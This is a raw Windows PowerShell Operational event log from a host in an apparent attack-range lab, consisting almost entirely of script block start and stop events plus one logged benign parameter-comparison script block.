ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051303
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051301
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051299
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051298
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
                            if($_.Value.PSobject.Methods.Name -match '^Equals$') {
                                # If object has Equals, compare bound key and variable using it
                                if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
                                    $_.Key
                                }
                            }
                            else {
                                # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
                                if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
                                    $_.Key
                                }
                            }
                        }

ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Path:
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052262
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052260
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052258
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052256
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052254
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052496
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052494
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052492
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052491
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052490
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052488
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052487
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052486
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052484
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052483
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052482
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052481
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8fbec82f-0012-4b67-91e4-27d3e4d0e357
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052478
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052476
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052475
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052474
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052473
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052472
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052471
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052470
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052468
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052466
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052464
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
